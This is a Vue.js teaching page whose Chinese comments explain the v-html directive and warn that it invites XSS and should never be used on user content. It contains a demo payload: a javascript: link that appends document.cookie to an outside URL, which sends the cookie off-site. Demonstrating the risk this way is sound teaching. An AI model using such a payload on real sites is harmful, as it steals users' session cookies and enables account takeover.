<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Index</title>
</head>

<body>
    <div id="app">
        <!-- 
            更新元素的 innerHTML。
            v-html 会将标签中的 textContent 全部替换 。
            注意: 在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 XSS(跨站脚本攻击) 攻击。
                  只在可信内容上使用 v-html，永不用在用户提交的内容上。

            XSS: 这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，
                 则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。
            
            cookie 非常重要, 拿到 cookie 导入到黑客的浏览器中可以直接登录目标的网站账户！

            严重注意：一定要在可信的内容上使用 v-html, 永远不要在在用户提交的内容上使用 v-html。
        -->
        <div v-html="str">1</div>

        <!-- XSS 攻击演示 -->
        <div v-html="str1"></div>
    </div>
</body>
<script src="../js/vue.js"></script>
<script>
    const vm = new Vue({
        el: '#app',
        data() {
            return {
                str: `<h3>Hello World</h3>`,
                str1: `<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>干坏事的链接</a>`,
            }
        }
    });
</script>

</html>